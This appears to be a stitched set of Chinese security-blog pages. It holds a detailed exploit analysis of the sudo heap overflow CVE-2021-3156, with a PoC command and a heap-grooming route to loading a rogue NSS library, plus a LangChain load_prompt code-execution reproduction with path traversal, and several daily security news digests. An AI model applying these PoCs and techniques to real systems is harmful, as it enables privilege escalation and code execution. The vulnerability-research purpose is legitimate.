背景介绍 2021 年 1 月 26 日,Qualys Research Labs在 sudo 发现了一个缺陷。sudo 解析命令行参数的方式时,错误的判断了截断符,从而导致攻击者可以恶意构造载荷,使得sudo发生堆溢出,该漏洞在配合环境变量等分配堆以及释放堆的原语下,可以致使本地提权。 环境搭建 环境版本 • ubuntu 20.04 • sudo-1.8.31p2 采用下述命令进行编译安装 cd ./sudo-SUDO_1_8_31p2 mkdir build ./configure --prefix=/home/pwn/sudo CFLAGS=”-O0 -g" make && make install 漏洞验证 #poc ./sudoedit -s '\' 11111111111111111111111111111111111111111111111111111111111111111111 执行上述POC执行sudoedit会出现malloc():invalid size的字样,这是典型的堆溢出后导致的异常。 漏洞分析 源码分析 set_cmnd函数 File: plugins\sudoers\sudoers.c 800: static int 801: set_cmnd(void) 802: {   ... 819:     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { //需要满足标志位的设置才能进入转义的流程   ... 845: 846: /* set user_args */ 847: if (NewArgc > 1) { 848:    char *to, *from, **av; 849:    size_t size, n; 850: 851:    /* Alloc and build up user_args. */ 852:    for (size = 0, av = NewArgv + 1; *av; av++) //遍历每一个参数 853: size += strlen(*av) + 1; //计算每一个参数的长度 854:    if (size == 0 || (user_args = malloc(size)) == NULL) { //通过malloc动态分配一段内存,用于存放参数内容 855: sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); 856: debug_return_int(-1); 857:   } 858:    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //需要满足标志位的设置才能进入转义的流程 859: /* 860: * When running a command via a shell, the sudo front-end 861: * escapes potential meta chars. We unescape non-spaces 862: * for sudoers matching and logging purposes. 863: */ 864: for (to = user_args, av = NewArgv + 1; (from = *av); av++) { //遍历每个环境变量,并将内容拷贝到内存中 865:    while (*from) {   /*   漏洞点,当扫描参数内容时,遇到\需要进行转义处理,例如'\t'、'\n'等,因此sudo只判断\后是否跟随着空格字符,即用isspace函数进行判 断。   isspace包括的字符如下:   ' '     (0x20)   space (SPC) 空格符 '\t'   (0x09)   horizontal tab (TAB) 水平制表符     '\n'   (0x0a)   newline (LF) 换行符 '\v'   (0x0b)   vertical tab (VT) 垂直制表符 '\f'   (0x0c)   feed (FF) 换页符 '\r'   (0x0d)   carriage return (CR) 回车符 以上不包括'\0'。 而参数之间是使用'\0'作为分隔符的,因此当'\\'后跟随的'\0'会使得from++从而导致将后一个参数也被拷贝进来,最后致使堆块溢出。   */ 866: if (from[0] == '\\' && !isspace((unsigned char)from[1])) 867:    from++; 868: *to++ = *from++; 869:   } 870:    *to++ = ' '; 871: } 872: *--to = '\0'; 使用POC的例子对漏洞进行说明 漏洞原理图 因此漏洞点在于在进入set_cmnd函数时需要对转义字符进行转义,但是函数却没有判断转义字符作为参数末尾的情况,即\ + \x00 parse_args函数 parse_args函数用于反转义,即参数中若存在转义字符,会在每个转义字符之前增加一个\ File: src\parse_args.c 592:     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { //需要满足标志位的设置才会进入反转义流程 593: char **av, *cmnd = NULL; 594: int ac = 1; 595: 596: if (argc != 0) { 597:    /* shell -c "command" */ 598:    char *src, *dst; 599:    size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) + 600: strlen(argv[argc - 1]) + 1; 601: 602:    cmnd = dst = reallocarray(NULL, cmnd_size, 2); 603:    if (cmnd == NULL) 604: sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory")); 605:    if (!gc_add(GC_PTR, cmnd)) 606: exit(1); 607: 608:    for (av = argv; *av != NULL; av++) { 609: for (src = *av; *src != '\0'; src++) { 610:    /* quote potential meta characters */ 611:    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '#39;) 612: *dst++ = '\\'; 613:    *dst++ = *src; 614: } 615: *dst++ = ' '; 616:   } 617:    if (cmnd != dst) 618: dst--;  /* replace last space with a NUL */ 619:    *dst = '\0'; 620: 621:    ac += 2; /* -c cmnd */ 622: } 这也是为什么set_cmnd函数需要对参数进行转义,因此若先经过parse_args函数进行反转义,后经过set_cmnd函数进行转义,那么sudo是不会出现漏洞情况的 绕过检验 那么如何绕过set_cmnd函数直接进入parse_args函数,才是漏洞能够被成功触发的关键因素 首先是如何才能过进入set_cmnd函数,sudo会经过两重检测 sudo_mode需要具有MODE_RUN、MODE_EDIT或者MODE_CHECK的标志位 sudo_mode需要具有MODE_SHELL或者MODE_LOGIN_SHELL的标志位 File: plugins\sudoers\sudoers.c ... 819:     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { //需要满足标志位的设置才能进入转义的流程   ... 858:    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //需要满足标志位的设置才能进入转义的流程 想要获得MODE_SHELL的标志位,则需要设置-s参数,此时通过 SET(flags, MODE_SHELL),将flag设置上MODE_SHELL,并且默认的mode是为NULL,因此设置-s参数可以使得flag即设置MODE_SHELL又设置MODE_RUN。 File: src\parse_args.c 479: case 's': 480:    sudo_settings[ARG_USER_SHELL].value = "true"; 481:    SET(flags, MODE_SHELL); 482:    break; ... 534: if (!mode) 535:    mode = MODE_RUN; /* running a command */ 536:     } 但是若使用sudo -s,那么就会导致flag即设置MODE_SHELL又设置MODE_RUN,就会进入parse_args函数的流程,该流程会把所有非字母数字的字符前方增加一个'\',那么就会导致我们无法构造'' + '\x00'的漏洞字符,因此想要漏洞利用成功,我们不需要程序进入set_cmd函数,但是不能进入parse_args函数 File: src\parse_args.c 592:     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { //需要满足标志位的设置才会进入反转义流程   ... 608:    for (av = argv; *av != NULL; av++) { 609: for (src = *av; *src != '\0'; src++) { 610:    /* quote potential meta characters */ 611:    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '#39;) 612: *dst++ = '\\'; 613:    *dst++ = *src; 614: }   ... 622: } 在parse_args函数的开头,会检测是以sudo还是以sudoedit进行调用,若使用sudoedit调用,那么会直接给mode设置上MODE_EDIT,从而绕过了mode==NULL时,需要将flag设置为MODE_RUN,因此使用sudoedit -s,可以使得flag即设置MODE_EDIT又设置MODE_SHELL File: src\parse_args.c   ... 265:     proglen = strlen(progname); 266:     if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) { 267: progname = "sudoedit"; 268: mode = MODE_EDIT; 269: sudo_settings[ARG_SUDOEDIT].value = "true"; 270:     } 想要进入set_cmnd第二条路径就是flag设置为MODE_EDIT | MODE_SHELL,这样的输入就能够绕过parse_args函数而禁止进入set_cmd函数,这也是为什么sudo的堆溢出,需要使用sudoedit -s触发,而不是sudo -s File: plugins\sudoers\sudoers.c ... 819:     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { //需要满足标志位的设置才能进入转义的流程   ... 858:    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //需要满足标志位的设置才能进入转义的流程 漏洞利用 漏洞利用分析 由于程序存在一个明显的堆溢出漏洞,因此需要梳理一下堆溢出如何进行利用。 • 找到一个堆块,该堆块的值会影响程序执行的流程,这里称之为可利用堆块。 • 找到可以随意控制堆块位置的操作,将漏洞函数申请的堆块部署在可利用堆块的上方,当堆溢出触发时,可以将可利用堆块的值被改写成我们预期的值。 可利用堆块 nss是用于解析和获取不同类型的名称信息,例如如何通过用名称去获取用户信息,在sudo需要获取用户信息时则需要调用nss。 在使用nss去获取信息时,其实是通过不同的动态链接库去执行相应的行为,而这些库的文件名则存在于/etc/nsswitch.conf的配置文件中 例如想要查询passwd文件则需要用到libnss_files.so与libnss_systemed.so 那么如何加载这些动态链接库则需要依赖于nss_load_library函数,而且这些相关信息都被存放在service_user结构体中,而该结构体是存放在堆内存中的。 接着得先研究该结构体的值是否会影响程序的执行流程,代码如下。 File: nsswitch.c 327: static int 328: nss_load_library (service_user *ni) 329: { 330:   if (ni->library == NULL) 331:     { 332:       /* This service has not yet been used. Fetch the service 333: library for it, creating a new one if need be. If there 334: is no service table from the file, this static variable 335: holds the head of the service_library list made from the 336: default configuration. */ 337:       static name_database default_table; 338:       ni->library = nss_new_service (service_table ?: &default_table, 339:     ni->name); //若ni->library的值为NULL,那么就会新建一个ni->library并将成员都进行初始化 340:       if (ni->library == NULL) 341: return -1; 342:     } 343: 344:   if (ni->library->lib_handle == NULL) //由于ni->library刚新建,因此ni->library->lib_handle必定为NULL 345:     { 346:       /* Load the shared library. */ 347:       size_t shlen = (7 + strlen (ni->name) + 3 348:      + strlen (__nss_shlib_revision) + 1); 349:       int saved_errno = errno; 350:       char shlib_name[shlen]; 351: 352:       /* Construct shared object name. */ 353:       __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name, 354:      "libnss_"), 355:    ni->name), 356:  ".so"), //shalib_name是根据拼接得到 357: __nss_shlib_revision); 358: 359:       ni->library->lib_handle = __libc_dlopen (shlib_name); //加载动态链接库 上述代码有个非常关键的点在于,程序会使用__libc_dlopen打开shalib_name指定的动态链接库,而shalib_name是通过ni->name进行一系列的拼接得到,而ni->name则是存放在结构体service_user *ni中的,该结构体又是存放在堆内存中的。那么我们就找到了关键的值ni->name,它是能够完成修改程序执行流程的关键变量。 举个例子,例如我们将ni->name修改为X/test,那么最后拼接的结果会得到libnss_X/test.so,那么如果我们在当前目录下新建一个libnss_X并且在该目录中创建一个test.so的动态链接库,那么sudo就会加载并执行我们动态链接库中的代码。至此我们找到利用的第一个关键因素,可利用堆块。 布置堆块的操作 由于我们已经找到了可利用的堆块,如果能够将堆溢出的堆块部署在可利用堆块的上方,在利用堆溢出修改ni->name,即可完成任意代码执行的效果。 在sudo的main函数中,会执行setlocate函数。setlocale 是一个用于设置程序的区域设置(locale)的函数,在许多编程语言和操作系统中都有对应的实现。 区域设置是指程序在运行时所采用的语言、地区、日期格式、货币符号等相关信息的集合。通过设置区域设置,程序可以根据不同的地区和语言环境来适应本地化需求。 export LC_ALL=en_US.UTF-8@XXXX 而在setlocal函数中涉及十分多的堆块分配与释放的操作,当调用setlocal(LC_ALL,"")时,程序会通过环境变量设置的值去搜索区域设置的值,而环境变量的搜索则依靠_nl_find_locale函数。 _nl_find_locale函数 File: locale\findlocale.c 101: struct __locale_data * 102: _nl_find_locale (const char *locale_path, size_t locale_path_len, 103: int category, const char **name) 104: {   ... 184:   /* LOCALE can consist of up to four recognized parts for the XPG syntax: 185: 186: language[_territory[.codeset]][@modifier] 187: 188:     Beside the first all of them are allowed to be missing. If the 189:     full specified locale is not found, the less specific one are 190:     looked for. The various part will be stripped off according to 191:     the following order: 192: (1) codeset 193: (2) normalized codeset 194: (3) territory 195: (4) modifier 196:   */       /*       区域的格式为C_en_US.UTF-8@XXXXXX       _nl_explode_name用于判断(1)(2)(3)(4)哪部分存在,哪部分缺失       */ 197:   mask = _nl_explode_name (loc_name, &language, &modifier, &territory, 198:   &codeset, &normalized_codeset); 199:   if (mask == -1) 200:     /* Memory allocate problem. */ 201:     return NULL; 202:   //locale_file则给区域设置进行动态内存的分配 205:   locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], 206:    locale_path, locale_path_len, mask, 207:    language, territory, codeset, 208:    normalized_codeset, modifier, 209:    _nl_category_names_get (category), 0); //返回NULL 210: 211:   if (locale_file == NULL) 212:     { 213:       /* Find status record for addressed locale file. We have to search 214: through all directories in the locale path. */ 215:       locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], 216: locale_path, locale_path_len, mask, 217: language, territory, codeset, 218: normalized_codeset, modifier, 219: _nl_category_names_get (category), 1); 220:       if (locale_file == NULL) 221: /* This means we are out of core. */ 222: return NULL; 223:     } } _nl_make_l10nflist**函数** _nl_make_l10nflist会根据我们传入的值进行堆块的分配。 File: intl\l10nflist.c 150: struct loaded_l10nfile * 151: _nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list, 152:    const char *dirlist, size_t dirlist_len, 153:    int mask, const char *language, const char *territory, 154:    const char *codeset, const char *normalized_codeset, 155:    const char *modifier, 156:    const char *filename, int do_allocate) 157: {   ... 165:   //根据我们传入的区域值的长度进行动态分配 166:   abs_filename = (char *) malloc (dirlist_len 167:  + strlen (language) 168:  + ((mask & XPG_TERRITORY) != 0 169:     ? strlen (territory) + 1 : 0) 170:  + ((mask & XPG_CODESET) != 0 171:     ? strlen (codeset) + 1 : 0) 172:  + ((mask & XPG_NORM_CODESET) != 0 173:     ? strlen (normalized_codeset) + 1 : 0) 174:  + ((mask & XPG_MODIFIER) != 0 175:     ? strlen (modifier) + 1 : 0) 176:  + 1 + strlen (filename) + 1); 177:   ... 292: } setlocale**函数** setlocale函数总体操作则是读取环境变量的值获取区域设置的值,根据区域设置的值分配堆块大小,若其中存在不符合区域值的规范,则会将所有先前申请的堆块都释放掉。 File: locale\setlocale.c 334:       while (category-- > 0) 335: if (category != LC_ALL) 336: {   //通过_nl_find_locale函数去获取环境变量的值,存放在newdata[category]中 337:    newdata[category] = _nl_find_locale (locale_path, locale_path_len, 338: category, 339: &newnames[category]); 340: ... 364: else 365: {   //使用__strdup函数在堆内存中分配空间,并将newdata[category]拷贝进去 366:    newnames[category] = __strdup (newnames[category]); 367:    if (newnames[category] == NULL) 368:      break; 369: }   ... 393:  if (category != LC_ALL && newnames[category] != _nl_C_name 394:      && newnames[category] != _nl_global_locale.__names[category]) 395:    free ((char *) newnames[category]); //这里就是堆块释放的原语了,只要有一个区域设置的值不符合规范,则将之前所有申请的堆块都释放掉 因此可以通过区域值去控制堆块的大小,接着在最后设置一个错误的区域值去控制堆块的位置,至此我们找到可控制堆块的操作。 LC_IDENTIFICATION = C.UTF-8@XX..XX #若长度为0x10,则malloc(0x10) LC_MEASUREMENT = C.UTF-8@XX..XXX,#若长度为0X20,则malloc(0x20) LC_TELEPHONE = XXXX #不符合区域值的规范,则会调用free() exp的分析 由于我们需要控制server_user的堆块,因此需要知道该堆块的大小为多少,通过调试可知是0x40的堆块,因此利用setlocate多释放几个0x40的堆块,那么server_user就会使用到我们所释放的堆块。 紧接着将漏洞堆块分配到server_user堆块的上方,由于server_user的堆块是我们自己构建的,因此只需要在释放该堆块的同时也释放漏洞堆块即可,并且漏洞堆块的申请可是根据参数的长度所设置的 将设置区域值的函数设置为堆块分配与释放的原语,使用@后面的字符控制堆块的大小 使用错误的区域值进行堆块的释放 最后就是如何填充到可利用堆块,这里使用堆溢出,并且在环境变量中构造填充字符串,使得漏洞堆块可以覆盖掉可利用堆块的内容值,但这里需要注意的是,我们需要将ni->library中用\x00填充,而\x00是无法直接输入到环境变量中的,因此需要再次观察漏洞函数是如何拷贝字符的。根据代码分析可知,只要''后紧跟着'\x00',那么我们就能将\x00的值直接拷贝的堆内存中。紧接着将ni->name修改为我们认为构造的动态链接库即可。 File: plugins\sudoers\sudoers.c 866: if (from[0] == '\\' && !isspace((unsigned char)from[1])) //若 '\' 后跟着'\x00' 867:    from++; //此时from会指向\x00 868: *to++ = *from++; //使用\x00进行值的拷贝 869:   } 设置多个环境变量使得内存存在多个'' + '\x00',从而使用'\x00'去覆盖堆的内存值。 演示效果如下 漏洞修复 漏洞的修复则是将MODE_EDIT的标志位进行了额外的判断,并且在''后面增加了对'\0'的校验 --- a/plugins/sudoers/sudoers.c Sat Jan 23 08:43:59 2021 -0700 +++ b/plugins/sudoers/sudoers.c Sat Jan 23 08:43:59 2021 -0700 @@ -547,7 +547,7 @@     /* If run as root with SUDO_USER set, set sudo_user.pw to that user. */     /* XXX - causes confusion when root is not listed in sudoers */ -    if (sudo_mode & (MODE_RUN | MODE_EDIT) && prev_user != NULL) { +    if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT) && prev_user != NULL) { if (user_uid == 0 && strcmp(prev_user, "root") != 0) {    struct passwd *pw; @@ -932,8 +932,8 @@     if (user_cmnd == NULL) user_cmnd = NewArgv[0]; -    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { - if (ISSET(sudo_mode, MODE_RUN | MODE_CHECK)) { +    if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT|MODE_CHECK)) { + if (!ISSET(sudo_mode, MODE_EDIT)) { //对MODE_EDIT进行了额外的判断    const char *runchroot = user_runchroot;    if (runchroot == NULL && def_runchroot != NULL &&    strcmp(def_runchroot, "*") != 0) @@ -961,7 +961,8 @@ sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); debug_return_int(NOT_FOUND_ERROR);   } -    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { +    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL) && +    ISSET(sudo_mode, MODE_RUN)) { //需要sudo -s才能进行转义 /* * When running a command via a shell, the sudo front-end * escapes potential meta chars. We unescape non-spaces @@ -969,10 +970,22 @@ */ for (to = user_args, av = NewArgv + 1; (from = *av); av++) {    while (*from) { - if (from[0] == '\\' && !isspace((unsigned char)from[1])) + if (from[0] == '\\' && from[1] != '\0' &&  //增加了'\0'的判断 + !isspace((unsigned char)from[1])) {    from++; + } + if (size - (to - user_args) < 1) { +    sudo_warnx(U_("internal error, %s overflow"), + __func__); +    debug_return_int(NOT_FOUND_ERROR); + } *to++ = *from++;   } +    if (size - (to - user_args) < 1) { + sudo_warnx(U_("internal error, %s overflow"), +    __func__); + debug_return_int(NOT_FOUND_ERROR); +   }    *to++ = ' '; } *--to = '\0'; 总结 Sudo堆溢出攻击流程 首先利用setlocate作为堆块分配与释放的原语,构造出适合的堆布局确保server_user堆块尽可能贴近漏洞代码开辟出来的堆块。 其次利用堆溢出将server_user堆块的ni->name值覆盖,覆盖的值为恶意构造的动态链接库名。 最后等待动态链接库被加载执行。 Sudo堆溢出利用的限制 由于sudo堆溢出依赖堆的布局,因此不同版本的sudo或者操作系统都会影响漏洞的利用。
网络安全日报 2023年06月28日
1、Anatsa安卓银行木马新一轮攻击针对英美德等国 https://www.threatfabric.com/blogs/anatsa-hits-uk-and-dach-with-new-campaign Anatsa是一种安卓银行木马,它可以通过伪装成正常的应用程序,诱骗用户在手机上安装它,然后窃取用户的银行凭证和执行欺诈性的转账。自2023年3月以来,Anatsa木马已经通过谷歌商店(Google Play Store)的多个下载器(dropper)传播,影响了超过3万个用户。Anatsa木马的目标主要是美国、英国和德语区(DACH)的银行机构,其恶意软件列表包含了全球近600个金融应用程序。研究人员已经确认了多起由Anatsa木马造成的 2、Teams存在漏洞,可被外部租户利用传播恶意软件 https://labs.jumpsec.com/advisory-idor-in-microsoft-teams-allows-for-external-tenants-to-introduce-malware/ Microsoft Teams是一款流行的协作和通信平台,但它也存在一个安全漏洞,可能让用户的设备受到恶意软件的攻击。这个漏洞被称为IDOR(不安全的直接对象引用),它允许外部租户(external tenants)绕过客户端的安全控制,向目标用户发送恶意文件。研究人员最近发现了这个漏洞,并向微软报告了。他们发现,Microsoft Teams的默认配置允许任何拥有微软账户的用户 3、微软发出警告,俄罗斯黑客正进行大范围的凭证窃取攻击 https://www.freebuf.com/news/370415.html 据微软披露,近日检测到由俄罗斯国家附属黑客组织 "午夜暴雪 "进行的凭证窃取攻击激增。微软的威胁情报团队说,入侵行为利用住宅代理服务来混淆攻击的源IP地址,目标是政府、IT服务提供商、非政府组织、国防和关键制造部门。 4、新的 Mockingjay 进程注入技术可逃避 EDR 检测 https://www.bleepingcomputer.com/news/security/new-mockingjay-process-injection-technique-evades-edr-detection/ 网络安全公司 Security Joes 的研究人员发现了这种方法,该方法利用带有 RWX(读、写、执行)部分的合法 DLL 来逃避 EDR 挂钩并将代码注入远程进程。 5、施耐德电气和西门子能源是 MOVEit 零日攻击的最新受害者 https://securityaffairs.com/147865/data-breach/schneider-electric-siemens-energy-moveit.html Cl0p 勒索软件组织在其暗网泄露网站上新增了 5 名 MOVEit 攻击受害者,其中包括工业控制系统巨头施耐德电气和西门子能源。 6、欧洲刑警组织摧毁EncroChat 抓捕 6,558 名犯罪分子并扣押 9 亿欧元 https://thehackernews.com/2023/06/encrochat-bust-leads-to-6558-criminals.html 欧洲刑警组织周二宣布,2020 年 7 月取缔EncroChat导致全球 6,558 人被捕,并没收了 9 亿欧元非法犯罪所得。该执法机构表示,法国和荷兰当局随后发起的联合调查拦截并分析了至少 6 万名用户通过加密消息平台进行的超过 1.15 亿次对话。 7、沃斯堡政府官员确认网络攻击事件,但否认敏感信息泄露 https://therecord.media/fort-worth-cyberattack-sieged-sec 德克萨斯州沃斯堡的官员证实,一个包含政府信息的网站被一群黑客入侵并访问,但淡化了事件的严重性。周五,一个名为 SiegedSec 的黑客组织在 Telegram 上声称,他们从该市政府窃取了约 500,000 个文件,该市有超过 935,000 名居民。 8、出资 2000 万美元!谷歌将在全美推广免费网络安全诊所 https://cybernews.com/security/google-pledges-20m-free-cybersecurity-clinics-across-us/ 谷歌声明将投入 2000 万美元,用于在美国各地开设更多的网络安全实践诊所,以帮助填补美国的网络安全劳动力缺口,并在不断变化的威胁面前保持领先地位。 9、5 月份,全球范围内针对组织的勒索软件攻击激增了近 25% https://cybernews.com/news/may-ransomware-attack-surge-8base-akira-new-gangs/ 一项新的研究显示,5 月份,全球范围内针对组织的勒索软件攻击数量激增了近 25%,这是今年迄今为止记录的最高数量,而这一增长的部分原因是现场出现了一个名为 8BASE 的新团伙。 10、全国人大法工委:为 AI 换脸诈骗提供技术支持同样追责 http://www.anquan419.com/knews/24/5413.html 针对利用“AI换脸”技术进行视频合成、进而实施诈骗这一新型电信网络诈骗的有关法律问题,全国人大常委会法制工作委员会举行记者会,发言人臧铁伟进行回应。他表示,对于构成诈骗罪的,要依照刑法规定追究刑事责任;对于为利用“AI换脸”实施诈骗行为提供技术支持、帮助的,要根据反电信网络诈骗法的规定进行行政处罚,构成犯罪的,还要根据刑法第二百八十七条之二帮助信息网络犯罪活动罪等追究刑事责任。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
LangChain 任意命令执行(CVE-2023-34541)
漏洞简介 LangChain是一个用于开发由语言模型驱动的应用程序的框架。 在LangChain受影响版本中,由于load_prompt函数加载提示文件时未对加载内容进行安全过滤,攻击者可通过构造包含恶意命令的提示文件,诱导用户加载该文件,即可造成任意系统命令执行。 漏洞复现 在项目下编写 test.py from langchain.prompts import load_prompt if __name__ == '__main__':    loaded_prompt = load_prompt("system.py") 同级目录下编写 system.py 执行系统命令 dir import os os.system("dir") 运行 test.py 返回了执行系统命令dir 的结果 漏洞分析-_load_prompt_from_file langchain.prompts.loading.load_prompt try_load_from_hub 是尝试从给定的路径远程加载文件但是因为我们是加载本地文件,所以接下会跳转到 _load_prompt_from_file langchain.prompts.loading._load_prompt_from_file 在 _load_prompt_from_file 根据文件的后缀,当后缀是 .py 时 最终会读取该文件并利用 exec 去执行 也就相当于,代码可以简写为 if __name__ == '__main__':    file_path = "system.py"    with open(file_path, "rb") as f:        exec(f.read()) ‍ 漏洞分析-try_load_from_hub 因为网络的原因一直没有办法复现成功,这里就代码层面进行一个详细的分析 from langchain.prompts import load_prompt if __name__ == '__main__':    loaded_prompt = load_prompt("lc://prompts/../../../../../../../system.py") langchain.prompts.loading.load_prompt langchain.utilities.loading.try_load_from_hub 首先匹配了 HUB_PATH_RE = re.compile(r"lc(?Pref@[^:]+)?://(?Ppath.*)") 所以需要满足最开始是 lc:// 然后对后面的内容进行匹配,要求第一个字段的值是 prompts 最后的后缀要在 {'py', 'yaml', 'json'} 中 最后拼接请求的url 可以通过 ../../../ 绕出项目的限制,指向我们设定好的文件,并读取加载实现任意命令执行 漏洞小结 在最新版本上面进行尝试,仍然存在这个漏洞,这个漏洞的本质就是可以加载执行本地或者指定的 python 文件,但是在实际应用中这个问题应该并不是那么好进行利用,因为 python 文件的地址要可控才行。
网络安全日报 2023年06月27日
1、新型Mirai变种利用8个漏洞攻击多种IoT设备 https://unit42.paloaltonetworks.com/mirai-variant-targets-iot-exploits/ 研究人员介绍了一种新发现的Mirai变种,它能利用8个新的漏洞攻击多种嵌入式设备,包括无线演示系统、机顶盒、SD-WAN和智能家居控制器等。Mirai是一种自2016年以来就存在的恶意软件,主要用于发动DDoS攻击和自我传播。研究人员分析了这种新型Mirai变种的感染流程、攻击载荷、C2服务器和目标设备,并给出了一些防御建议。还提供了一些IoT设备安全的最佳实践,例如更改默认密码、禁用不必要的服务、及时更新固件等。 2、LockBit勒索软件瞄准苹果M1芯片和嵌入式系统 https://securelist.com/crimeware-report-lockbit-switchsymb/110068/ 研究人员介绍LockBit勒索软件团伙正在开发针对苹果M1芯片和嵌入式系统的勒索软件。这些目标都是传统的Windows环境之外的,可能给受害者带来全新的问题。研究人员指出,LockBit是一个提供勒索软件即服务(RaaS)的团伙,它利用自动传播的恶意软件和双重加密的方法来进行攻击。研究人员还提到了LockBit的一些特点,如三重勒索的方法、先进的技术、高危的网络攻击和对合作伙伴的大力推广。研究人员建议企业采取结构化的漏洞管理流程来保护自己,根据严重性和风险优先 3、研究人员发布了针对Cisco AnyConnect Secure漏洞的PoC https://github.com/Wh04m1001/CVE-2023-20178/blob/main/README.md 研究人员介绍了一个高危漏洞(CVE-2023-20178)的证明概念(PoC)利用代码,该漏洞影响思科AnyConnect安全移动客户端软件(Windows版)和思科安全客户端软件(Windows版)。该漏洞存在于客户端更新过程中,如果攻击者已经在本地以低权限用户登录,就可以利用该漏洞提升为SYSTEM权限。这是因为在更新过程中创建的临时目录被赋予了不恰当的权限,攻击者可以通过滥用Windows安装程序进程的一个特定函数来执行任意代码。该漏洞的PoC利用代码是由一名 4、LastPass用户因MFA重置而被锁定账户 https://www.bleepingcomputer.com/news/security/lastpass-users-furious-after-being-locked-out-due-to-mfa-resets/ LastPass用户在5月初收到要求重置多因素认证(MFA)应用的电子邮件后,无法访问他们的密码库。LastPass是一款流行的密码管理器,可以让用户在不同的设备和浏览器上安全地存储和同步他们的密码。为了提高安全性,LastPass还支持多种MFA选项,包括Google Authenticator、Microsoft Authenticator、YubiKey等。然而,一 5、Grafana发布安全更新以修复CVE-2023-3128严重漏洞 https://grafana.com/blog/2023/06/22/grafana-security-release-for-cve-2023-3128/ Grafana发布了新版本的软件,修复了一个严重的安全漏洞,编号为CVE-2023-3128。该漏洞存在于Grafana的数据源配置页面中,如果攻击者能够访问该页面,就可以利用该漏洞执行任意代码。这是因为在数据源配置页面中,有一个“测试”按钮,可以用来测试数据源的连接和查询。但是,这个按钮没有对用户输入进行充分的验证和转义,导致了一个存储型跨站脚本(XSS)漏洞。如果攻击者能够在数据源配置页面中插入恶意代码,并诱使其他用户点击“测试” 6、CISA 称 Zyxel NAS 严重漏洞遭到攻击利用 https://www.securityweek.com/cisa-says-critical-zyxel-nas-vulnerability-exploited-in-attacks/ CISA 警告 Zyxel NAS 产品的用户,最近修补的关键漏洞 CVE-2023-27992 已被利用进行攻击。 7、BIND 修补了的可被远程利用的 DoS 漏洞 https://www.securityweek.com/remotely-exploitable-dos-vulnerabilities-patched-in-bind/ 最新的 BIND 更新解决了三个导致拒绝服务 (DoS) 的高严重性、可远程利用的漏洞。 8、森科尔能源公司遭网络攻击影响了加拿大加油站的支付业务 https://securityaffairs.com/147834/hacking/petro-canada-suncor-problems.html Suncor Energy 是加拿大领先的综合能源公司,在加拿大和美国提供油砂开发、生产和升级、海上石油和天然气以及石油炼制服务。它拥有加拿大石油公司的零售和批发分销网络。 9、研究人员找到通过分析 LED 闪烁恢复加密密钥的方法 https://thehackernews.com/2023/06/researchers-find-way-to-recover.html 在巧妙的旁道攻击中,一组学者发现可以通过分析设备电源 LED 的视频片段来恢复设备的密钥。内盖夫本古里安大学和康奈尔大学的研究人员在一项研究中表示:“CPU 执行的密码计算会改变设备的功耗,从而影响设备电源 LED 的亮度。” 10、动视暴雪游戏因长达数小时的 DDoS 攻击而瘫痪 https://therecord.media/activision-blizzard-crippled-by-ddos 根据动视暴雪在 Twitter 上的声明,此次攻击持续了 10 多个小时,并于周日晚些时候得到缓解。暴雪尚未确定其背后的黑客组织,也没有人站出来声称对此负责。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年06月26日
1、Mallox勒索软件采用新的感染策略发起攻击 https://blog.cyble.com/2023/06/22/mallox-ransomware-implements-new-infection-strategy/ Mallox勒索软件是一种在2021年6月首次出现的恶意软件,它的特点是在加密文件后添加目标公司的名称作为文件扩展名。这种勒索软件也被称为“TargetCompany”,因为它会在加密文件后添加“.mallox”或“.malox”扩展名。研究人员最近发现了Mallox勒索软件的新变种,它采用了一种新的感染策略,不再需要从远程服务器下载勒索软件载荷,而是将其嵌入到一个批处理脚本中,然后注入到“MSBuild.exe”中,不 2、NSA发布指南应对BlackLotus威胁 https://www.nsa.gov/Press-Room/Press-Releases-Statements/Press-Release-View/Article/3435305/nsa-releases-guide-to-mitigate-blacklotus-threat/ 美国国家安全局(NSA)发布了一份指南,旨在帮助网络防御者应对BlackLotus恶意软件的威胁。BlackLotus是一种利用微软Windows安全启动过程中的一个已知漏洞绕过Secure Boot保护的恶意软件,它可以在系统启动时加载恶意代码,从而控制系统并窃取敏感数据。NSA指出,BlackLotus恶意软 3、SupremeBot恶意软件伪装成超级马里奥游戏安装程序进行传播 https://blog.cyble.com/2023/06/23/trojanized-super-mario-game-installer-spreads-supremebot-malware/ 